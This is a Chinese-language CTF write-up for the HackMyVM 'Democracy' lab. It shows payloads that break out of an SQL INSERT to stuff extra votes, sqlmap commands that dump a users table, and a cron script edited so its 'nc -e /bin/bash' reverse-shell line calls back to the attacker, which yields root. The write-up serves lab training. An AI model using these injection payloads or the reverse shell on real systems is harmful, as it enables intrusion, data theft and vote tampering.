hackmyvm-Democracy
写在最前:
这个靶机没有提权的地方
但是这个靶机的SQL注入点是我之前从来没见过的。
信息收集
主机发现
192.168.56.157
即为目标ip
端口扫描
只开放了22
与80
两个端口
80端口
大致是一个投票系统
为共和党
与民主党
候选人投票
点击去投票就会跳转到登录页面
如果没有账户可以注册一个
登录与注册页面进行测试没有发现SQL注入漏洞
登录进去之后
有三个功能 分别是 投票
, 查看结果
, 重置投票
每个账户只能投票一次
点击重置投票之后 投票信息就会清零 重新进行投票
坑点
每当你成功投票一次的时候
下次再去测试投票功能点的时候就要先进行一次
重置投票
操作不然这无法得到想要的回显
対这三个功能点抓个包
投票
数据包, 以POST方式传递了一个数据
在传递的数据后面加一个单引号'
报错了。
加俩单引号'
就成功投票,且没有报错
但是当在后面加上' -- a
的时候
页面仍然报错。
按道理来说--
将后面的独立引号给闭合掉了。不应该会有报错了
在后面用')--+a'
又没报错了
所以数据闭合方式是')
在后面用') or 1=1 -- a
来测试是报错
报错给了GPT问了一下
他给了我举一个insert
语法的例子
突然间反映过来了
它的计票方式有可能是insert table (候选人,票数) values (<候选人>,1)
类似这种方式存储票数
所以我就构造了一个这样子的payloaddemocrat',10000)--+1'
企图直接投10000票
不过他又给报错
这次的报错显示的是列数不一样
那他可能就是类似这样的形式insert table (票数,候选人) values (1,<候选人>)
票数在前
那么就无法直接修改票数了
我然后我又试了这样一个payloaddemocrat'),(100000,'democrat');+--+1
我这样做的想法是想要看看能不能让第二条数据覆盖第一条数据
然后我去查了一下票数
这时候票数显示的是2
我也没有用第二个账户去投票。也只投了一次 这里竟然是两票。
所以当时就再现他统计票数的方法可能是select count(*) from table where 候选人=某某某
为了验证我的想法
我将payload修改成democrat'),(100000,'democrat'),(100000,'republican');+--+1
之后又投了一次。
预期的结果应该是 democrat 2票 republican1票
结果正如预期那般
再回到网站首页
民主党候选人是支持开放共享数字数据和FTP服务器
获取让它胜出会有不一样的变化
同样也说明了获胜的条件。就是获得1000票
所以就用刚才那个方法 给民主党人投1000票看看
这里是我写的一个脚本
1 | package main |
用脚本进行一次投票
再来查询票数Democrat的票数就变成了1001
再返回网站页面 点击查看票数按钮就会跳转
开启系统页面
或许这个过程就是在开启竞选宣言中的ftp服务
在对其进行一次端口扫描
这个时候就会发现多开了一个21ftp端口
Getshell
lftp连接上去lftp 192.168.56.157
只有一个votes文件
并且我们对它有所有权限
拿下来看一下
是一个定时任务脚本。
同样里面的sql语句也正好印证了 对票数统计系统的逻辑猜想
既然对votes有所有权限
那么在他下面加上一个反弹shell的语句就行了
将它原本的nc -e /bin/bash 192.168.0.29 4444
反弹shell语句 改成我们自己的ip与端口然后再上传上去就行了
传上去之后 监听我们自己的端口就行了
但是他这个弹上来之后就是root权限。。。。
其他人sql解法
在做完之后我又去看了一眼其他人的解法
他们大多人的做法是
使用sqlmap在注入点将数据注出来。 不过在这个过程中需要一直访问重置票数
接口
将数据包拿出来放到一个sql.txt中
另开一个终端执行
1 | while true; do \ |
不断访问重置密码接口
然后另一个终端执行
1 | sudo sqlmap -r sql.txt --batch --dbs |
跑库名
跑表名
1 | sudo sqlmap -r sql.txt --batch -D voting --tables |
跑数据
1 | sudo sqlmap -r sql.txt --batch -D voting -T users --dump |
用户表中有1k多个用户
全部拿下来之后
批量使用这些账号去投票
这种方法稍麻烦些。